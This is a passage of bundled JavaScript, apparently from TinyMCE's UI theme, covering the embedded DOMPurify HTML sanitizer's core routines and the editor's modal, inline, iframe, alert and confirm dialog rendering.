          if (!hookEvent.keepAttr) {
            _removeAttribute(name, currentNode);
            continue;
          }
          if (regExpTest(/\/>/i, value)) {
            _removeAttribute(name, currentNode);
            continue;
          }
          if (SAFE_FOR_TEMPLATES) {
            value = stringReplace(value, MUSTACHE_EXPR$1, ' ');
            value = stringReplace(value, ERB_EXPR$1, ' ');
          }
          var lcTag = transformCaseFunc(currentNode.nodeName);
          if (!_isValidAttribute(lcTag, lcName, value)) {
            _removeAttribute(name, currentNode);
            continue;
          }
          if (value !== initValue) {
            try {
              if (namespaceURI) {
                currentNode.setAttributeNS(namespaceURI, name, value);
              } else {
                currentNode.setAttribute(name, value);
              }
            } catch (_) {
              _removeAttribute(name, currentNode);
            }
          }
        }
        _executeHook('afterSanitizeAttributes', currentNode, null);
      };
      var _sanitizeShadowDOM = function _sanitizeShadowDOM(fragment) {
        var shadowNode;
        var shadowIterator = _createIterator(fragment);
        _executeHook('beforeSanitizeShadowDOM', fragment, null);
        while (shadowNode = shadowIterator.nextNode()) {
          _executeHook('uponSanitizeShadowNode', shadowNode, null);
          if (_sanitizeElements(shadowNode)) {
            continue;
          }
          if (shadowNode.content instanceof DocumentFragment) {
            _sanitizeShadowDOM(shadowNode.content);
          }
          _sanitizeAttributes(shadowNode);
        }
        _executeHook('afterSanitizeShadowDOM', fragment, null);
      };
      DOMPurify.sanitize = function (dirty, cfg) {
        var body;
        var importedNode;
        var currentNode;
        var oldNode;
        var returnNode;
        IS_EMPTY_INPUT = !dirty;
        if (IS_EMPTY_INPUT) {
          dirty = '<!-->';
        }
        if (typeof dirty !== 'string' && !_isNode(dirty)) {
          if (typeof dirty.toString !== 'function') {
            throw typeErrorCreate('toString is not a function');
          } else {
            dirty = dirty.toString();
            if (typeof dirty !== 'string') {
              throw typeErrorCreate('dirty is not a string, aborting');
            }
          }
        }
        if (!DOMPurify.isSupported) {
          if (_typeof(window.toStaticHTML) === 'object' || typeof window.toStaticHTML === 'function') {
            if (typeof dirty === 'string') {
              return window.toStaticHTML(dirty);
            }
            if (_isNode(dirty)) {
              return window.toStaticHTML(dirty.outerHTML);
            }
          }
          return dirty;
        }
        if (!SET_CONFIG) {
          _parseConfig(cfg);
        }
        DOMPurify.removed = [];
        if (typeof dirty === 'string') {
          IN_PLACE = false;
        }
        if (IN_PLACE) {
          if (dirty.nodeName) {
            var tagName = transformCaseFunc(dirty.nodeName);
            if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {
              throw typeErrorCreate('root node is forbidden and cannot be sanitized in-place');
            }
          }
        } else if (dirty instanceof Node) {
          body = _initDocument('<!---->');
          importedNode = body.ownerDocument.importNode(dirty, true);
          if (importedNode.nodeType === 1 && importedNode.nodeName === 'BODY') {
            body = importedNode;
          } else if (importedNode.nodeName === 'HTML') {
            body = importedNode;
          } else {
            body.appendChild(importedNode);
          }
        } else {
          if (!RETURN_DOM && !SAFE_FOR_TEMPLATES && !WHOLE_DOCUMENT && dirty.indexOf('<') === -1) {
            return trustedTypesPolicy && RETURN_TRUSTED_TYPE ? trustedTypesPolicy.createHTML(dirty) : dirty;
          }
          body = _initDocument(dirty);
          if (!body) {
            return RETURN_DOM ? null : RETURN_TRUSTED_TYPE ? emptyHTML : '';
          }
        }
        if (body && FORCE_BODY) {
          _forceRemove(body.firstChild);
        }
        var nodeIterator = _createIterator(IN_PLACE ? dirty : body);
        while (currentNode = nodeIterator.nextNode()) {
          if (currentNode.nodeType === 3 && currentNode === oldNode) {
            continue;
          }
          if (_sanitizeElements(currentNode)) {
            continue;
          }
          if (currentNode.content instanceof DocumentFragment) {
            _sanitizeShadowDOM(currentNode.content);
          }
          _sanitizeAttributes(currentNode);
          oldNode = currentNode;
        }
        oldNode = null;
        if (IN_PLACE) {
          return dirty;
        }
        if (RETURN_DOM) {
          if (RETURN_DOM_FRAGMENT) {
            returnNode = createDocumentFragment.call(body.ownerDocument);
            while (body.firstChild) {
              returnNode.appendChild(body.firstChild);
            }
          } else {
            returnNode = body;
          }
          if (ALLOWED_ATTR.shadowroot) {
            returnNode = importNode.call(originalDocument, returnNode, true);
          }
          return returnNode;
        }
        var serializedHTML = WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML;
        if (WHOLE_DOCUMENT && ALLOWED_TAGS['!doctype'] && body.ownerDocument && body.ownerDocument.doctype && body.ownerDocument.doctype.name && regExpTest(DOCTYPE_NAME, body.ownerDocument.doctype.name)) {
          serializedHTML = '<!DOCTYPE ' + body.ownerDocument.doctype.name + '>\n' + serializedHTML;
        }
        if (SAFE_FOR_TEMPLATES) {
          serializedHTML = stringReplace(serializedHTML, MUSTACHE_EXPR$1, ' ');
          serializedHTML = stringReplace(serializedHTML, ERB_EXPR$1, ' ');
        }
        return trustedTypesPolicy && RETURN_TRUSTED_TYPE ? trustedTypesPolicy.createHTML(serializedHTML) : serializedHTML;
      };
      DOMPurify.setConfig = function (cfg) {
        _parseConfig(cfg);
        SET_CONFIG = true;
      };
      DOMPurify.clearConfig = function () {
        CONFIG = null;
        SET_CONFIG = false;
      };
      DOMPurify.isValidAttribute = function (tag, attr, value) {
        if (!CONFIG) {
          _parseConfig({});
        }
        var lcTag = transformCaseFunc(tag);
        var lcName = transformCaseFunc(attr);
        return _isValidAttribute(lcTag, lcName, value);
      };
      DOMPurify.addHook = function (entryPoint, hookFunction) {
        if (typeof hookFunction !== 'function') {
          return;
        }
        hooks[entryPoint] = hooks[entryPoint] || [];
        arrayPush(hooks[entryPoint], hookFunction);
      };
      DOMPurify.removeHook = function (entryPoint) {
        if (hooks[entryPoint]) {
          return arrayPop(hooks[entryPoint]);
        }
      };
      DOMPurify.removeHooks = function (entryPoint) {
        if (hooks[entryPoint]) {
          hooks[entryPoint] = [];
        }
      };
      DOMPurify.removeAllHooks = function () {
        hooks = {};
      };
      return DOMPurify;
    }
    var purify = createDOMPurify();

    const sanitizeHtmlString = html => purify().sanitize(html);

    const isTouch = global$5.deviceType.isTouch();
    const hiddenHeader = (title, close) => ({
      dom: {
        tag: 'div',
        styles: { display: 'none' },
        classes: ['tox-dialog__header']
      },
      components: [
        title,
        close
      ]
    });
    const pClose = (onClose, providersBackstage) => ModalDialog.parts.close(Button.sketch({
      dom: {
        tag: 'button',
        classes: [
          'tox-button',
          'tox-button--icon',
          'tox-button--naked'
        ],
        attributes: {
          'type': 'button',
          'aria-label': providersBackstage.translate('Close')
        }
      },
      action: onClose,
      buttonBehaviours: derive$1([Tabstopping.config({})])
    }));
    const pUntitled = () => ModalDialog.parts.title({
      dom: {
        tag: 'div',
        classes: ['tox-dialog__title'],
        innerHtml: '',
        styles: { display: 'none' }
      }
    });
    const pBodyMessage = (message, providersBackstage) => ModalDialog.parts.body({
      dom: {
        tag: 'div',
        classes: ['tox-dialog__body']
      },
      components: [{
          dom: {
            tag: 'div',
            classes: ['tox-dialog__body-content']
          },
          components: [{ dom: fromHtml(`<p>${ sanitizeHtmlString(providersBackstage.translate(message)) }</p>`) }]
        }]
    });
    const pFooter = buttons => ModalDialog.parts.footer({
      dom: {
        tag: 'div',
        classes: ['tox-dialog__footer']
      },
      components: buttons
    });
    const pFooterGroup = (startButtons, endButtons) => [
      Container.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-dialog__footer-start']
        },
        components: startButtons
      }),
      Container.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-dialog__footer-end']
        },
        components: endButtons
      })
    ];
    const renderDialog$1 = spec => {
      const dialogClass = 'tox-dialog';
      const blockerClass = dialogClass + '-wrap';
      const blockerBackdropClass = blockerClass + '__backdrop';
      const scrollLockClass = dialogClass + '__disable-scroll';
      return ModalDialog.sketch({
        lazySink: spec.lazySink,
        onEscape: comp => {
          spec.onEscape(comp);
          return Optional.some(true);
        },
        useTabstopAt: elem => !isPseudoStop(elem),
        dom: {
          tag: 'div',
          classes: [dialogClass].concat(spec.extraClasses),
          styles: {
            position: 'relative',
            ...spec.extraStyles
          }
        },
        components: [
          spec.header,
          spec.body,
          ...spec.footer.toArray()
        ],
        parts: {
          blocker: {
            dom: fromHtml(`<div class="${ blockerClass }"></div>`),
            components: [{
                dom: {
                  tag: 'div',
                  classes: isTouch ? [
                    blockerBackdropClass,
                    blockerBackdropClass + '--opaque'
                  ] : [blockerBackdropClass]
                }
              }]
          }
        },
        dragBlockClass: blockerClass,
        modalBehaviours: derive$1([
          Focusing.config({}),
          config('dialog-events', spec.dialogEvents.concat([runOnSource(focusin(), (comp, _se) => {
              Keying.focusIn(comp);
            })])),
          config('scroll-lock', [
            runOnAttached(() => {
              add$2(body(), scrollLockClass);
            }),
            runOnDetached(() => {
              remove$2(body(), scrollLockClass);
            })
          ]),
          ...spec.extraBehaviours
        ]),
        eventOrder: {
          [execute$5()]: ['dialog-events'],
          [attachedToDom()]: [
            'scroll-lock',
            'dialog-events',
            'alloy.base.behaviour'
          ],
          [detachedFromDom()]: [
            'alloy.base.behaviour',
            'dialog-events',
            'scroll-lock'
          ],
          ...spec.eventOrder
        }
      });
    };

    const renderClose = providersBackstage => Button.sketch({
      dom: {
        tag: 'button',
        classes: [
          'tox-button',
          'tox-button--icon',
          'tox-button--naked'
        ],
        attributes: {
          'type': 'button',
          'aria-label': providersBackstage.translate('Close'),
          'title': providersBackstage.translate('Close')
        }
      },
      components: [render$3('close', {
          tag: 'div',
          classes: ['tox-icon']
        }, providersBackstage.icons)],
      action: comp => {
        emit(comp, formCancelEvent);
      }
    });
    const renderTitle = (spec, dialogId, titleId, providersBackstage) => {
      const renderComponents = data => [text$2(providersBackstage.translate(data.title))];
      return {
        dom: {
          tag: 'div',
          classes: ['tox-dialog__title'],
          attributes: { ...titleId.map(x => ({ id: x })).getOr({}) }
        },
        components: [],
        behaviours: derive$1([Reflecting.config({
            channel: `${ titleChannel }-${ dialogId }`,
            initialData: spec,
            renderComponents
          })])
      };
    };
    const renderDragHandle = () => ({ dom: fromHtml('<div class="tox-dialog__draghandle"></div>') });
    const renderInlineHeader = (spec, dialogId, titleId, providersBackstage) => Container.sketch({
      dom: fromHtml('<div class="tox-dialog__header"></div>'),
      components: [
        renderTitle(spec, dialogId, Optional.some(titleId), providersBackstage),
        renderDragHandle(),
        renderClose(providersBackstage)
      ],
      containerBehaviours: derive$1([Dragging.config({
          mode: 'mouse',
          blockerClass: 'blocker',
          getTarget: handle => {
            return closest$1(handle, '[role="dialog"]').getOrDie();
          },
          snaps: {
            getSnapPoints: () => [],
            leftAttr: 'data-drag-left',
            topAttr: 'data-drag-top'
          }
        })])
    });
    const renderModalHeader = (spec, dialogId, providersBackstage) => {
      const pTitle = ModalDialog.parts.title(renderTitle(spec, dialogId, Optional.none(), providersBackstage));
      const pHandle = ModalDialog.parts.draghandle(renderDragHandle());
      const pClose = ModalDialog.parts.close(renderClose(providersBackstage));
      const components = [pTitle].concat(spec.draggable ? [pHandle] : []).concat([pClose]);
      return Container.sketch({
        dom: fromHtml('<div class="tox-dialog__header"></div>'),
        components
      });
    };

    const getHeader = (title, dialogId, backstage) => renderModalHeader({
      title: backstage.shared.providers.translate(title),
      draggable: backstage.dialog.isDraggableModal()
    }, dialogId, backstage.shared.providers);
    const getBusySpec = (message, bs, providers) => ({
      dom: {
        tag: 'div',
        classes: ['tox-dialog__busy-spinner'],
        attributes: { 'aria-label': providers.translate(message) },
        styles: {
          left: '0px',
          right: '0px',
          bottom: '0px',
          top: '0px',
          position: 'absolute'
        }
      },
      behaviours: bs,
      components: [{ dom: fromHtml('<div class="tox-spinner"><div></div><div></div><div></div></div>') }]
    });
    const getEventExtras = (lazyDialog, providers, extra) => ({
      onClose: () => extra.closeWindow(),
      onBlock: blockEvent => {
        ModalDialog.setBusy(lazyDialog(), (_comp, bs) => getBusySpec(blockEvent.message, bs, providers));
      },
      onUnblock: () => {
        ModalDialog.setIdle(lazyDialog());
      }
    });
    const renderModalDialog = (spec, initialData, dialogEvents, backstage) => {
      const updateState = (_comp, incoming) => Optional.some(incoming);
      return build$1(renderDialog$1({
        ...spec,
        lazySink: backstage.shared.getSink,
        extraBehaviours: [
          Reflecting.config({
            channel: `${ dialogChannel }-${ spec.id }`,
            updateState,
            initialData
          }),
          RepresentingConfigs.memory({}),
          ...spec.extraBehaviours
        ],
        onEscape: comp => {
          emit(comp, formCancelEvent);
        },
        dialogEvents,
        eventOrder: {
          [receive()]: [
            Reflecting.name(),
            Receiving.name()
          ],
          [attachedToDom()]: [
            'scroll-lock',
            Reflecting.name(),
            'messages',
            'dialog-events',
            'alloy.base.behaviour'
          ],
          [detachedFromDom()]: [
            'alloy.base.behaviour',
            'dialog-events',
            'messages',
            Reflecting.name(),
            'scroll-lock'
          ]
        }
      }));
    };
    const mapMenuButtons = buttons => {
      const mapItems = button => {
        const items = map$2(button.items, item => {
          const cell = Cell(false);
          return {
            ...item,
            storage: cell
          };
        });
        return {
          ...button,
          items
        };
      };
      return map$2(buttons, button => {
        return button.type === 'menu' ? mapItems(button) : button;
      });
    };
    const extractCellsToObject = buttons => foldl(buttons, (acc, button) => {
      if (button.type === 'menu') {
        const menuButton = button;
        return foldl(menuButton.items, (innerAcc, item) => {
          innerAcc[item.name] = item.storage;
          return innerAcc;
        }, acc);
      }
      return acc;
    }, {});

    const initCommonEvents = (fireApiEvent, extras) => [
      runWithTarget(focusin(), onFocus),
      fireApiEvent(formCloseEvent, (_api, spec) => {
        extras.onClose();
        spec.onClose();
      }),
      fireApiEvent(formCancelEvent, (api, spec, _event, self) => {
        spec.onCancel(api);
        emit(self, formCloseEvent);
      }),
      run$1(formUnblockEvent, (_c, _se) => extras.onUnblock()),
      run$1(formBlockEvent, (_c, se) => extras.onBlock(se.event))
    ];
    const initUrlDialog = (getInstanceApi, extras) => {
      const fireApiEvent = (eventName, f) => run$1(eventName, (c, se) => {
        withSpec(c, (spec, _c) => {
          f(getInstanceApi(), spec, se.event, c);
        });
      });
      const withSpec = (c, f) => {
        Reflecting.getState(c).get().each(currentDialog => {
          f(currentDialog, c);
        });
      };
      return [
        ...initCommonEvents(fireApiEvent, extras),
        fireApiEvent(formActionEvent, (api, spec, event) => {
          spec.onAction(api, { name: event.name });
        })
      ];
    };
    const initDialog = (getInstanceApi, extras, getSink) => {
      const fireApiEvent = (eventName, f) => run$1(eventName, (c, se) => {
        withSpec(c, (spec, _c) => {
          f(getInstanceApi(), spec, se.event, c);
        });
      });
      const withSpec = (c, f) => {
        Reflecting.getState(c).get().each(currentDialogInit => {
          f(currentDialogInit.internalDialog, c);
        });
      };
      return [
        ...initCommonEvents(fireApiEvent, extras),
        fireApiEvent(formSubmitEvent, (api, spec) => spec.onSubmit(api)),
        fireApiEvent(formChangeEvent, (api, spec, event) => {
          spec.onChange(api, { name: event.name });
        }),
        fireApiEvent(formActionEvent, (api, spec, event, component) => {
          const focusIn = () => Keying.focusIn(component);
          const isDisabled = focused => has$1(focused, 'disabled') || getOpt(focused, 'aria-disabled').exists(val => val === 'true');
          const rootNode = getRootNode(component.element);
          const current = active$1(rootNode);
          spec.onAction(api, {
            name: event.name,
            value: event.value
          });
          active$1(rootNode).fold(focusIn, focused => {
            if (isDisabled(focused)) {
              focusIn();
            } else if (current.exists(cur => contains(focused, cur) && isDisabled(cur))) {
              focusIn();
            } else {
              getSink().toOptional().filter(sink => !contains(sink.element, focused)).each(focusIn);
            }
          });
        }),
        fireApiEvent(formTabChangeEvent, (api, spec, event) => {
          spec.onTabChange(api, {
            newTabName: event.name,
            oldTabName: event.oldName
          });
        }),
        runOnDetached(component => {
          const api = getInstanceApi();
          Representing.setValue(component, api.getData());
        })
      ];
    };
    const SilverDialogEvents = {
      initUrlDialog,
      initDialog
    };

    const makeButton = (button, backstage) => renderFooterButton(button, button.type, backstage);
    const lookup = (compInSystem, footerButtons, buttonName) => find$5(footerButtons, button => button.name === buttonName).bind(memButton => memButton.memento.getOpt(compInSystem));
    const renderComponents = (_data, state) => {
      const footerButtons = state.map(s => s.footerButtons).getOr([]);
      const buttonGroups = partition$3(footerButtons, button => button.align === 'start');
      const makeGroup = (edge, buttons) => Container.sketch({
        dom: {
          tag: 'div',
          classes: [`tox-dialog__footer-${ edge }`]
        },
        components: map$2(buttons, button => button.memento.asSpec())
      });
      const startButtons = makeGroup('start', buttonGroups.pass);
      const endButtons = makeGroup('end', buttonGroups.fail);
      return [
        startButtons,
        endButtons
      ];
    };
    const renderFooter = (initSpec, dialogId, backstage) => {
      const updateState = (comp, data) => {
        const footerButtons = map$2(data.buttons, button => {
          const memButton = record(makeButton(button, backstage));
          return {
            name: button.name,
            align: button.align,
            memento: memButton
          };
        });
        const lookupByName = buttonName => lookup(comp, footerButtons, buttonName);
        return Optional.some({
          lookupByName,
          footerButtons
        });
      };
      return {
        dom: fromHtml('<div class="tox-dialog__footer"></div>'),
        components: [],
        behaviours: derive$1([Reflecting.config({
            channel: `${ footerChannel }-${ dialogId }`,
            initialData: initSpec,
            updateState,
            renderComponents
          })])
      };
    };
    const renderInlineFooter = (initSpec, dialogId, backstage) => renderFooter(initSpec, dialogId, backstage);
    const renderModalFooter = (initSpec, dialogId, backstage) => ModalDialog.parts.footer(renderFooter(initSpec, dialogId, backstage));

    const getCompByName = (access, name) => {
      const root = access.getRoot();
      if (root.getSystem().isConnected()) {
        const form = Composing.getCurrent(access.getFormWrapper()).getOr(access.getFormWrapper());
        return Form.getField(form, name).orThunk(() => {
          const footer = access.getFooter();
          const footerState = Reflecting.getState(footer).get();
          return footerState.bind(f => f.lookupByName(name));
        });
      } else {
        return Optional.none();
      }
    };
    const validateData$1 = (access, data) => {
      const root = access.getRoot();
      return Reflecting.getState(root).get().map(dialogState => getOrDie(asRaw('data', dialogState.dataValidator, data))).getOr(data);
    };
    const getDialogApi = (access, doRedial, menuItemStates) => {
      const withRoot = f => {
        const root = access.getRoot();
        if (root.getSystem().isConnected()) {
          f(root);
        }
      };
      const getData = () => {
        const root = access.getRoot();
        const valueComp = root.getSystem().isConnected() ? access.getFormWrapper() : root;
        const representedValues = Representing.getValue(valueComp);
        const menuItemCurrentState = map$1(menuItemStates, cell => cell.get());
        return {
          ...representedValues,
          ...menuItemCurrentState
        };
      };
      const setData = newData => {
        withRoot(_ => {
          const prevData = instanceApi.getData();
          const mergedData = deepMerge(prevData, newData);
          const newInternalData = validateData$1(access, mergedData);
          const form = access.getFormWrapper();
          Representing.setValue(form, newInternalData);
          each(menuItemStates, (v, k) => {
            if (has$2(mergedData, k)) {
              v.set(mergedData[k]);
            }
          });
        });
      };
      const setEnabled = (name, state) => {
        getCompByName(access, name).each(state ? Disabling.enable : Disabling.disable);
      };
      const focus = name => {
        getCompByName(access, name).each(Focusing.focus);
      };
      const block = message => {
        if (!isString(message)) {
          throw new Error('The dialogInstanceAPI.block function should be passed a blocking message of type string as an argument');
        }
        withRoot(root => {
          emitWith(root, formBlockEvent, { message });
        });
      };
      const unblock = () => {
        withRoot(root => {
          emit(root, formUnblockEvent);
        });
      };
      const showTab = name => {
        withRoot(_ => {
          const body = access.getBody();
          const bodyState = Reflecting.getState(body);
          if (bodyState.get().exists(b => b.isTabPanel())) {
            Composing.getCurrent(body).each(tabSection => {
              TabSection.showTab(tabSection, name);
            });
          }
        });
      };
      const redial = d => {
        withRoot(root => {
          const id = access.getId();
          const dialogInit = doRedial(d);
          root.getSystem().broadcastOn([`${ dialogChannel }-${ id }`], dialogInit);
          root.getSystem().broadcastOn([`${ titleChannel }-${ id }`], dialogInit.internalDialog);
          root.getSystem().broadcastOn([`${ bodyChannel }-${ id }`], dialogInit.internalDialog);
          root.getSystem().broadcastOn([`${ footerChannel }-${ id }`], dialogInit.internalDialog);
          instanceApi.setData(dialogInit.initialData);
        });
      };
      const close = () => {
        withRoot(root => {
          emit(root, formCloseEvent);
        });
      };
      const instanceApi = {
        getData,
        setData,
        setEnabled,
        focus,
        block,
        unblock,
        showTab,
        redial,
        close
      };
      return instanceApi;
    };

    const getDialogSizeClasses = size => {
      switch (size) {
      case 'large':
        return ['tox-dialog--width-lg'];
      case 'medium':
        return ['tox-dialog--width-md'];
      default:
        return [];
      }
    };
    const renderDialog = (dialogInit, extra, backstage) => {
      const dialogId = generate$6('dialog');
      const internalDialog = dialogInit.internalDialog;
      const header = getHeader(internalDialog.title, dialogId, backstage);
      const body = renderModalBody({
        body: internalDialog.body,
        initialData: internalDialog.initialData
      }, dialogId, backstage);
      const storedMenuButtons = mapMenuButtons(internalDialog.buttons);
      const objOfCells = extractCellsToObject(storedMenuButtons);
      const footer = renderModalFooter({ buttons: storedMenuButtons }, dialogId, backstage);
      const dialogEvents = SilverDialogEvents.initDialog(() => instanceApi, getEventExtras(() => dialog, backstage.shared.providers, extra), backstage.shared.getSink);
      const dialogSize = getDialogSizeClasses(internalDialog.size);
      const spec = {
        id: dialogId,
        header,
        body,
        footer: Optional.some(footer),
        extraClasses: dialogSize,
        extraBehaviours: [],
        extraStyles: {}
      };
      const dialog = renderModalDialog(spec, dialogInit, dialogEvents, backstage);
      const modalAccess = (() => {
        const getForm = () => {
          const outerForm = ModalDialog.getBody(dialog);
          return Composing.getCurrent(outerForm).getOr(outerForm);
        };
        return {
          getId: constant$1(dialogId),
          getRoot: constant$1(dialog),
          getBody: () => ModalDialog.getBody(dialog),
          getFooter: () => ModalDialog.getFooter(dialog),
          getFormWrapper: getForm
        };
      })();
      const instanceApi = getDialogApi(modalAccess, extra.redial, objOfCells);
      return {
        dialog,
        instanceApi
      };
    };

    const renderInlineDialog = (dialogInit, extra, backstage, ariaAttrs) => {
      const dialogId = generate$6('dialog');
      const dialogLabelId = generate$6('dialog-label');
      const dialogContentId = generate$6('dialog-content');
      const internalDialog = dialogInit.internalDialog;
      const updateState = (_comp, incoming) => Optional.some(incoming);
      const memHeader = record(renderInlineHeader({
        title: internalDialog.title,
        draggable: true
      }, dialogId, dialogLabelId, backstage.shared.providers));
      const memBody = record(renderInlineBody({
        body: internalDialog.body,
        initialData: internalDialog.initialData
      }, dialogId, dialogContentId, backstage, ariaAttrs));
      const storagedMenuButtons = mapMenuButtons(internalDialog.buttons);
      const objOfCells = extractCellsToObject(storagedMenuButtons);
      const memFooter = record(renderInlineFooter({ buttons: storagedMenuButtons }, dialogId, backstage));
      const dialogEvents = SilverDialogEvents.initDialog(() => instanceApi, {
        onBlock: event => {
          Blocking.block(dialog, (_comp, bs) => getBusySpec(event.message, bs, backstage.shared.providers));
        },
        onUnblock: () => {
          Blocking.unblock(dialog);
        },
        onClose: () => extra.closeWindow()
      }, backstage.shared.getSink);
      const dialog = build$1({
        dom: {
          tag: 'div',
          classes: [
            'tox-dialog',
            'tox-dialog-inline'
          ],
          attributes: {
            role: 'dialog',
            ['aria-labelledby']: dialogLabelId,
            ['aria-describedby']: dialogContentId
          }
        },
        eventOrder: {
          [receive()]: [
            Reflecting.name(),
            Receiving.name()
          ],
          [execute$5()]: ['execute-on-form'],
          [attachedToDom()]: [
            'reflecting',
            'execute-on-form'
          ]
        },
        behaviours: derive$1([
          Keying.config({
            mode: 'cyclic',
            onEscape: c => {
              emit(c, formCloseEvent);
              return Optional.some(true);
            },
            useTabstopAt: elem => !isPseudoStop(elem) && (name$3(elem) !== 'button' || get$f(elem, 'disabled') !== 'disabled')
          }),
          Reflecting.config({
            channel: `${ dialogChannel }-${ dialogId }`,
            updateState,
            initialData: dialogInit
          }),
          Focusing.config({}),
          config('execute-on-form', dialogEvents.concat([runOnSource(focusin(), (comp, _se) => {
              Keying.focusIn(comp);
            })])),
          Blocking.config({ getRoot: () => Optional.some(dialog) }),
          Replacing.config({}),
          RepresentingConfigs.memory({})
        ]),
        components: [
          memHeader.asSpec(),
          memBody.asSpec(),
          memFooter.asSpec()
        ]
      });
      const instanceApi = getDialogApi({
        getId: constant$1(dialogId),
        getRoot: constant$1(dialog),
        getFooter: () => memFooter.get(dialog),
        getBody: () => memBody.get(dialog),
        getFormWrapper: () => {
          const body = memBody.get(dialog);
          return Composing.getCurrent(body).getOr(body);
        }
      }, extra.redial, objOfCells);
      return {
        dialog,
        instanceApi
      };
    };

    var global = tinymce.util.Tools.resolve('tinymce.util.URI');

    const getUrlDialogApi = root => {
      const withRoot = f => {
        if (root.getSystem().isConnected()) {
          f(root);
        }
      };
      const block = message => {
        if (!isString(message)) {
          throw new Error('The urlDialogInstanceAPI.block function should be passed a blocking message of type string as an argument');
        }
        withRoot(root => {
          emitWith(root, formBlockEvent, { message });
        });
      };
      const unblock = () => {
        withRoot(root => {
          emit(root, formUnblockEvent);
        });
      };
      const close = () => {
        withRoot(root => {
          emit(root, formCloseEvent);
        });
      };
      const sendMessage = data => {
        withRoot(root => {
          root.getSystem().broadcastOn([bodySendMessageChannel], data);
        });
      };
      return {
        block,
        unblock,
        close,
        sendMessage
      };
    };

    const SUPPORTED_MESSAGE_ACTIONS = [
      'insertContent',
      'setContent',
      'execCommand',
      'close',
      'block',
      'unblock'
    ];
    const isSupportedMessage = data => isObject(data) && SUPPORTED_MESSAGE_ACTIONS.indexOf(data.mceAction) !== -1;
    const isCustomMessage = data => !isSupportedMessage(data) && isObject(data) && has$2(data, 'mceAction');
    const handleMessage = (editor, api, data) => {
      switch (data.mceAction) {
      case 'insertContent':
        editor.insertContent(data.content);
        break;
      case 'setContent':
        editor.setContent(data.content);
        break;
      case 'execCommand':
        const ui = isBoolean(data.ui) ? data.ui : false;
        editor.execCommand(data.cmd, ui, data.value);
        break;
      case 'close':
        api.close();
        break;
      case 'block':
        api.block(data.message);
        break;
      case 'unblock':
        api.unblock();
        break;
      }
    };
    const renderUrlDialog = (internalDialog, extra, editor, backstage) => {
      const dialogId = generate$6('dialog');
      const header = getHeader(internalDialog.title, dialogId, backstage);
      const body = renderIframeBody(internalDialog);
      const footer = internalDialog.buttons.bind(buttons => {
        if (buttons.length === 0) {
          return Optional.none();
        } else {
          return Optional.some(renderModalFooter({ buttons }, dialogId, backstage));
        }
      });
      const dialogEvents = SilverDialogEvents.initUrlDialog(() => instanceApi, getEventExtras(() => dialog, backstage.shared.providers, extra));
      const styles = {
        ...internalDialog.height.fold(() => ({}), height => ({
          'height': height + 'px',
          'max-height': height + 'px'
        })),
        ...internalDialog.width.fold(() => ({}), width => ({
          'width': width + 'px',
          'max-width': width + 'px'
        }))
      };
      const classes = internalDialog.width.isNone() && internalDialog.height.isNone() ? ['tox-dialog--width-lg'] : [];
      const iframeUri = new global(internalDialog.url, { base_uri: new global(window.location.href) });
      const iframeDomain = `${ iframeUri.protocol }://${ iframeUri.host }${ iframeUri.port ? ':' + iframeUri.port : '' }`;
      const messageHandlerUnbinder = unbindable();
      const extraBehaviours = [
        config('messages', [
          runOnAttached(() => {
            const unbind = bind(SugarElement.fromDom(window), 'message', e => {
              if (iframeUri.isSameOrigin(new global(e.raw.origin))) {
                const data = e.raw.data;
                if (isSupportedMessage(data)) {
                  handleMessage(editor, instanceApi, data);
                } else if (isCustomMessage(data)) {
                  internalDialog.onMessage(instanceApi, data);
                }
              }
            });
            messageHandlerUnbinder.set(unbind);
          }),
          runOnDetached(messageHandlerUnbinder.clear)
        ]),
        Receiving.config({
          channels: {
            [bodySendMessageChannel]: {
              onReceive: (comp, data) => {
                descendant(comp.element, 'iframe').each(iframeEle => {
                  const iframeWin = iframeEle.dom.contentWindow;
                  if (isNonNullable(iframeWin)) {
                    iframeWin.postMessage(data, iframeDomain);
                  }
                });
              }
            }
          }
        })
      ];
      const spec = {
        id: dialogId,
        header,
        body,
        footer,
        extraClasses: classes,
        extraBehaviours,
        extraStyles: styles
      };
      const dialog = renderModalDialog(spec, internalDialog, dialogEvents, backstage);
      const instanceApi = getUrlDialogApi(dialog);
      return {
        dialog,
        instanceApi
      };
    };

    const setup$2 = backstage => {
      const sharedBackstage = backstage.shared;
      const open = (message, callback) => {
        const closeDialog = () => {
          ModalDialog.hide(alertDialog);
          callback();
        };
        const memFooterClose = record(renderFooterButton({
          name: 'close-alert',
          text: 'OK',
          primary: true,
          buttonType: Optional.some('primary'),
          align: 'end',
          enabled: true,
          icon: Optional.none()
        }, 'cancel', backstage));
        const titleSpec = pUntitled();
        const closeSpec = pClose(closeDialog, sharedBackstage.providers);
        const alertDialog = build$1(renderDialog$1({
          lazySink: () => sharedBackstage.getSink(),
          header: hiddenHeader(titleSpec, closeSpec),
          body: pBodyMessage(message, sharedBackstage.providers),
          footer: Optional.some(pFooter(pFooterGroup([], [memFooterClose.asSpec()]))),
          onEscape: closeDialog,
          extraClasses: ['tox-alert-dialog'],
          extraBehaviours: [],
          extraStyles: {},
          dialogEvents: [run$1(formCancelEvent, closeDialog)],
          eventOrder: {}
        }));
        ModalDialog.show(alertDialog);
        const footerCloseButton = memFooterClose.get(alertDialog);
        Focusing.focus(footerCloseButton);
      };
      return { open };
    };

    const setup$1 = backstage => {
      const sharedBackstage = backstage.shared;
      const open = (message, callback) => {
        const closeDialog = state => {
          ModalDialog.hide(confirmDialog);
          callback(state);
        };
        const memFooterYes = record(renderFooterButton({
          name: 'yes',
          text: 'Yes',
          primary: true,
          buttonType: Optional.some('primary'),
          align: 'end',
          enabled: true,
          icon: Optional.none()
        }, 'submit', backstage));
        const footerNo = renderFooterButton({
          name: 'no',
          text: 'No',
          primary: false,
          buttonType: Optional.some('secondary'),
          align: 'end',
          enabled: true,
          icon: Optional.none()
        }, 'cancel', backstage);
        const titleSpec = pUntitled();
        const closeSpec = pClose(() => closeDialog(false), sharedBackstage.providers);
        const confirmDialog = build$1(renderDialog$1({
          lazySink: () => sharedBackstage.getSink(),
          header: hiddenHeader(titleSpec, closeSpec),
          body: pBodyMessage(message, sharedBackstage.providers),
          footer: Optional.some(pFooter(pFooterGroup([], [
            footerNo,
            memFooterYes.asSpec()
          ]))),
          onEscape: () => closeDialog(false),
          extraClasses: ['tox-confirm-dialog'],
          extraBehaviours: [],
